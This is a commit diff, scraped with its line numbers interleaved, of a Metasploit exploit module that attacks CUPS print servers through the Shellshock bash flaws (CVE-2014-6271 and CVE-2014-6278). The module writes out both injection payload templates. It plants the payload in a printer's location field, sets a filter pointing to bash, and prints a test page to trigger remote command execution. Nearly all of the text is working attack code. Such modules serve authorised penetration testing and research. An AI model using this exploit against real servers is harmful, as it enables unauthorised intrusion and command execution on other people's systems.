6
6
require 'msf/core'
7
7
8
8
class Metasploit4 < Msf ::Exploit ::Remote
9
- Rank = ExcellentRanking
9
+ Rank = GoodRanking
10
10
include Msf ::Exploit ::Remote ::HttpClient
11
11
12
12
def initialize ( info = { } )
@@ -19,10 +19,12 @@ def initialize(info = {})
19
19
} ,
20
20
'Author' => [
21
21
'Stephane Chazelas' , # Vulnerability discovery
22
+ 'lcamtuf' , # CVE-2014-6278
22
23
'Brendan Coles <bcoles[at]gmail.com>' # msf
23
24
] ,
24
25
'References' => [
25
26
[ 'CVE' , '2014-6271' ] ,
27
+ [ 'CVE' , '2014-6278' ] ,
26
28
[ 'EDB' , '34765' ] ,
27
29
[ 'URL' , 'https://access.redhat.com/articles/1200223' ] ,
28
30
[ 'URL' , 'http://seclists.org/oss-sec/2014/q3/649' ]
@@ -32,178 +34,234 @@ def initialize(info = {})
32
34
'Platform' => 'unix' ,
33
35
'Payload' =>
34
36
{
35
- 'Space' => 1024 ,
36
- 'BadChars' => "\x00 \x0A \x0D \x22 " ,
37
- 'DisableNops' => true ,
37
+ 'Space' => 1024 ,
38
+ 'BadChars' => "\x00 \x0A \x0D " ,
39
+ 'DisableNops' => true
38
40
} ,
39
- 'Compat' =>
41
+ 'Compat' =>
40
42
{
41
43
'PayloadType' => 'cmd' ,
42
- 'RequiredCmd' => 'generic bash netcat perl' ,
44
+ 'RequiredCmd' => 'generic bash awk ruby'
43
45
} ,
44
- # Tested on CUPS 1.4.3
45
- 'Targets' =>
46
- [
47
- [
48
- 'Automatic Targeting' , { 'auto' => true }
49
- ] ,
50
- ] ,
46
+ # Tested on CUPS 1.4.3 and 1.5.3
47
+ 'Targets' => [ [ 'Automatic Targeting' , { 'auto' => true } ] ] ,
51
48
'DefaultTarget' => 0 ,
52
49
'DisclosureDate' => 'Sep 24 2014' ,
53
50
'License' => MSF_LICENSE
54
51
) )
55
52
register_options ( [
56
53
Opt ::RPORT ( 631 ) ,
57
- OptString . new ( 'USERNAME' , [ true , 'CUPS username' , '' ] ) ,
58
- OptString . new ( 'PASSWORD' , [ true , 'CUPS password' , '' ] )
54
+ OptBool . new ( 'SSL' , [ true , 'Use SSL' , true ] ) ,
55
+ OptString . new ( 'USERNAME' , [ true , 'CUPS username' , 'root' ] ) ,
56
+ OptString . new ( 'PASSWORD' , [ true , 'CUPS user password' , '' ] ) ,
57
+ OptEnum . new ( 'CVE' , [ true , 'CVE to exploit' , 'CVE-2014-6271' , [ 'CVE-2014-6271' , 'CVE-2014-6278' ] ] ) ,
58
+ OptString . new ( 'RPATH' , [ true , 'Target PATH for binaries' , '/bin' ] )
59
59
] , self . class )
60
60
end
61
61
62
62
#
63
- # Check
63
+ # CVE-2014-6271
64
+ #
65
+ def cve_2014_6271 ( cmd )
66
+ %{() { :;}; $(#{ cmd } ) & }
67
+ end
68
+
69
+ #
70
+ # CVE-2014-6278
71
+ #
72
+ def cve_2014_6278 ( cmd )
73
+ %{() { _; } >_[$($())] { $(#{ cmd } ) & }}
74
+ end
75
+
76
+ #
77
+ # Check credentials
64
78
#
65
79
def check
66
- Exploit ::CheckCode ::Unknown
80
+ @cookie = rand_text_alphanumeric ( 16 )
81
+ printer_name = rand_text_alphanumeric ( 10 + rand ( 5 ) )
82
+ res = add_printer ( printer_name , '' )
83
+ if !res
84
+ vprint_error ( "#{ peer } - No response from host" )
85
+ return Exploit ::CheckCode ::Unknown
86
+ elsif res . body =~ /Set Default Options for #{ printer_name } /
87
+ vprint_good ( "#{ peer } - Added printer successfully" )
88
+ delete_printer ( printer_name )
89
+ return Exploit ::CheckCode ::Detected
90
+ elsif res . code == 401 || ( res . code == 426 && datastore [ 'SSL' ] == true )
91
+ vprint_error ( "#{ peer } - Authentication failed" )
92
+ return Exploit ::CheckCode ::Detected
93
+ elsif res . code == 426
94
+ vprint_error ( "#{ peer } - SSL required - set SSL true" )
95
+ return Exploit ::CheckCode ::Detected
96
+ else
97
+ return Exploit ::CheckCode ::Safe
98
+ end
67
99
end
68
100
69
101
#
70
102
# Exploit
71
103
#
72
104
def exploit
73
105
@cookie = rand_text_alphanumeric ( 16 )
74
- printer_name = rand_text_alphanumeric ( 10 )
106
+ printer_name = rand_text_alphanumeric ( 10 + rand ( 5 ) )
107
+
108
+ # Select target CVE
109
+ case datastore [ 'CVE' ]
110
+ when 'CVE-2014-6278'
111
+ cmd = cve_2014_6278 ( payload . raw )
112
+ else
113
+ cmd = cve_2014_6271 ( payload . raw )
114
+ end
75
115
76
- # Create a printer with a CUPS filter pointing to /bin/bash
77
- res = create_printer ( printer_name )
116
+ # Add a printer containing the payload
117
+ # with a CUPS filter pointing to /bin/bash
118
+ res = add_printer ( printer_name , cmd )
78
119
if !res
79
- print_error ( "#{ peer } - Request failed" )
80
- return
81
- elsif res . code == 426
82
- print_error ( "#{ peer } - Authentication failed" )
83
- return
120
+ fail_with ( Failure ::Unreachable , "#{ peer } - Could not add printer - Connection failed." )
84
121
elsif res . body =~ /Set Default Options for #{ printer_name } /
85
- print_good ( "#{ peer } - Created printer successfully" )
122
+ print_good ( "#{ peer } - Added printer successfully" )
123
+ elsif res . code == 401 || ( res . code == 426 && datastore [ 'SSL' ] == true )
124
+ fail_with ( Failure ::NoAccess , "#{ peer } - Could not add printer - Authentication failed." )
125
+ elsif res . code == 426
126
+ fail_with ( Failure ::BadConfig , "#{ peer } - Could not add printer - SSL required - set SSL true." )
127
+ else
128
+ fail_with ( Failure ::Unknown , "#{ peer } - Could not add printer." )
86
129
end
87
130
88
- # Request a printer test page.
131
+ # Add a test page to the print queue .
89
132
# The print job triggers execution of the bash filter
90
- # which executes the payload in the env vars .
133
+ # which executes the payload in the environment variables .
91
134
res = print_test_page ( printer_name )
92
- if !res || res . code != 200
93
- print_error ( "#{ peer } - Request failed" )
94
- return
95
- end
96
- if res . body =~ /Test page sent; job ID is/
97
- print_status "#{ peer } - Test page sent successfully"
135
+ if !res
136
+ fail_with ( Failure ::Unreachable , "#{ peer } - Could not add test page to print queue - Connection failed." )
137
+ elsif res . body =~ /Test page sent; job ID is/
138
+ vprint_good ( "#{ peer } - Added test page to printer queue" )
139
+ elsif res . code == 401 || ( res . code == 426 && datastore [ 'SSL' ] == true )
140
+ fail_with ( Failure ::NoAccess , "#{ peer } - Could not add test page to print queue - Authentication failed." )
141
+ elsif res . code == 426
142
+ fail_with ( Failure ::BadConfig , "#{ peer } - Could not add test page to print queue - SSL required - set SSL true." )
143
+ else
144
+ fail_with ( Failure ::Unknown , "#{ peer } - Could not add test page to print queue." )
98
145
end
99
146
100
147
# Delete the printer
101
148
res = delete_printer ( printer_name )
102
- if !res || res . code != 200
103
- print_error ( "#{ peer } - Request failed" )
104
- return
105
- end
106
- if res . body =~ /has been deleted successfully/
107
- print_status "#{ peer } - Deleted printer '#{ printer_name } ' successfully"
149
+ if !res
150
+ fail_with ( Failure ::Unreachable , "#{ peer } - Could not delete printer - Connection failed." )
151
+ elsif res . body =~ /has been deleted successfully/
152
+ print_status ( "#{ peer } - Deleted printer '#{ printer_name } ' successfully" )
153
+ elsif res . code == 401 || ( res . code == 426 && datastore [ 'SSL' ] == true )
154
+ vprint_warning ( "#{ peer } - Could not delete printer '#{ printer_name } ' - Authentication failed." )
155
+ elsif res . code == 426
156
+ vprint_warning ( "#{ peer } - Could not delete printer '#{ printer_name } ' - SSL required - set SSL true." )
157
+ else
158
+ vprint_warning ( "#{ peer } - Could not delete printer '#{ printer_name } '" )
108
159
end
109
160
end
110
161
111
162
#
112
- # Create a printer
163
+ # Add a printer to CUPS
113
164
#
114
- def create_printer printer_name
115
- print_status "#{ peer } - Creating printer '#{ printer_name } '"
165
+ def add_printer ( printer_name , cmd )
166
+ vprint_status ( "#{ peer } - Adding new printer '#{ printer_name } '" )
116
167
168
+ ppd_name = "#{ rand_text_alphanumeric ( 10 + rand ( 5 ) ) } .ppd"
117
169
ppd_file = <<-EOF
118
170
*PPD-Adobe: "4.3"
119
171
*%==== General Information Keywords ========================
120
172
*FormatVersion: "4.3"
121
173
*FileVersion: "1.00"
122
174
*LanguageVersion: English
123
175
*LanguageEncoding: ISOLatin1
124
- *PCFileName: "MFC3820CN.PPD "
176
+ *PCFileName: "#{ ppd_name } "
125
177
*Manufacturer: "Brother"
126
178
*Product: "(Brother MFC-3820CN)"
127
179
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
128
180
*cupsVersion: 1.1
129
181
*cupsManualCopies: False
130
- *cupsFilter: "application/vnd.cups-postscript 0 ../../../../../../../../../../bin /bash"
131
- *cupsModelNumber: 5
182
+ *cupsFilter: "application/vnd.cups-postscript 0 #{ datastore [ 'RPATH' ] } /bash"
183
+ *cupsModelNumber: #{ rand ( 10 ) + 1 }
132
184
*ModelName: "Brother MFC-3820CN"
133
185
*ShortNickName: "Brother MFC-3820CN"
134
186
*NickName: "Brother MFC-3820CN CUPS v1.1"
135
- *PSVersion: "(3010.106) 3"
136
187
*%
137
- EOF
188
+ *%==== Basic Device Capabilities =============
189
+ *LanguageLevel: "3"
190
+ *ColorDevice: True
191
+ *DefaultColorSpace: RGB
192
+ *FileSystem: False
193
+ *Throughput: "12"
194
+ *LandscapeOrientation: Plus90
195
+ *VariablePaperSize: False
196
+ *TTRasterizer: Type42
197
+ *FreeVM: "1700000"
138
198
139
- shock = "() { :;}; /bin/bash -c \" #{ payload . raw } &\" "
199
+ *DefaultOutputOrder: Reverse
200
+ *%==== Media Selection ======================
201
+
202
+ *OpenUI *PageSize/Media Size: PickOne
203
+ *OrderDependency: 18 AnySetup *PageSize
204
+ *DefaultPageSize: BrLetter
205
+ *PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
206
+ *PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
207
+ EOF
140
208
141
209
pd = Rex ::MIME ::Message . new
142
- pd . add_part ( ppd_file , "application/octet-stream" , nil , "form-data; name=\" PPD_FILE\" ; filename=\" #{ rand_text_alphanumeric ( 10 ) } .ppd\" " )
143
- pd . add_part ( "#{ @cookie } " , nil , nil , "form-data; name=\" org.cups.sid\" " )
144
- pd . add_part ( "add-printer" , nil , nil , "form-data; name=\" OP\" " )
145
- pd . add_part ( "#{ printer_name } " , nil , nil , "form-data; name=\" printer_name\" " )
146
- pd . add_part ( "#{ printer_name } " , nil , nil , "form-data; name=\" PRINTER_NAME\" " )
147
- pd . add_part ( "" , nil , nil , "form-data; name=\" PRINTER_INFO\" " ) # injectable
148
- pd . add_part ( "#{ shock } " , nil , nil , "form-data; name=\" PRINTER_LOCATION\" " ) # injectable
149
- pd . add_part ( "file:///dev/null" , nil , nil , "form-data; name=\" DEVICE_URI\" " )
150
- pd . add_part ( '' , nil , nil , "form-data; name=\" PRINTER_IS_SHARED\" " )
151
- pd . add_part ( '262144' , nil , nil , "form-data; name=\" MAX_FILE_SIZE\" " ) # default value
210
+ pd . add_part ( ppd_file , 'application/octet-stream' , nil , %(form-data; name="PPD_FILE"; filename="#{ ppd_name } ") )
211
+ pd . add_part ( "#{ @cookie } " , nil , nil , %(form-data; name="org.cups.sid") )
212
+ pd . add_part ( "add-printer" , nil , nil , %(form-data; name="OP") )
213
+ pd . add_part ( "#{ printer_name } " , nil , nil , %(form-data; name="PRINTER_NAME") )
214
+ pd . add_part ( "" , nil , nil , %(form-data; name="PRINTER_INFO") ) # injectable
215
+ pd . add_part ( "#{ cmd } " , nil , nil , %(form-data; name="PRINTER_LOCATION") ) # injectable
216
+ pd . add_part ( "file:///dev/null" , nil , nil , %(form-data; name="DEVICE_URI") )
152
217
153
218
data = pd . to_s
154
219
data . strip!
155
220
156
- res = send_request_cgi ( {
221
+ send_request_cgi (
157
222
'method' => 'POST' ,
158
223
'uri' => normalize_uri ( target_uri . path , 'admin' ) ,
159
224
'ctype' => "multipart/form-data; boundary=#{ pd . bound } " ,
160
225
'data' => data ,
161
226
'cookie' => "org.cups.sid=#{ @cookie } ;" ,
162
- 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
163
- } )
164
-
165
- return res
227
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
228
+ )
166
229
end
167
230
168
231
#
169
- # Print a test page
232
+ # Queue a printer test page
170
233
#
171
- def print_test_page printer_name
172
- print_status "#{ peer } - Requesting printer test page"
173
- res = send_request_cgi (
174
- {
175
- 'method' => 'POST' ,
176
- 'uri' => normalize_uri ( target_uri . path , 'printers' , printer_name ) ,
177
- 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
178
- 'cookie' => "org.cups.sid=#{ @cookie } " ,
179
- 'vars_post' => {
180
- 'org.cups.sid' => @cookie ,
181
- 'OP' => 'print-test-page'
182
- }
234
+ def print_test_page ( printer_name )
235
+ vprint_status ( "#{ peer } - Adding test page to printer queue" )
236
+ send_request_cgi (
237
+ 'method' => 'POST' ,
238
+ 'uri' => normalize_uri ( target_uri . path , 'printers' , printer_name ) ,
239
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
240
+ 'cookie' => "org.cups.sid=#{ @cookie } " ,
241
+ 'vars_post' => {
242
+ 'org.cups.sid' => @cookie ,
243
+ 'OP' => 'print-test-page'
183
244
}
184
245
)
185
- return res
186
246
end
187
247
188
248
#
189
249
# Delete a printer
190
250
#
191
- def delete_printer printer_name
192
- res = send_request_cgi (
193
- {
194
- 'method' => 'POST' ,
195
- 'uri' => normalize_uri ( target_uri . path , 'admin' ) ,
196
- 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
197
- 'cookie' => "org.cups.sid=#{ @cookie } " ,
198
- 'vars_post' => {
199
- 'org.cups.sid' => @cookie ,
200
- 'OP' => 'delete-printer' ,
201
- 'printer_name' => printer_name ,
202
- 'confirm' => 'Delete Printer'
203
- }
251
+ def delete_printer ( printer_name )
252
+ vprint_status ( "#{ peer } - Deleting printer '#{ printer_name } '" )
253
+ send_request_cgi (
254
+ 'method' => 'POST' ,
255
+ 'uri' => normalize_uri ( target_uri . path , 'admin' ) ,
256
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
257
+ 'cookie' => "org.cups.sid=#{ @cookie } " ,
258
+ 'vars_post' => {
259
+ 'org.cups.sid' => @cookie ,
260
+ 'OP' => 'delete-printer' ,
261
+ 'printer_name' => printer_name ,
262
+ 'confirm' => 'Delete Printer'
204
263
}
205
264
)
206
- return res
207
265
end
208
266
209
267
end
0 commit comments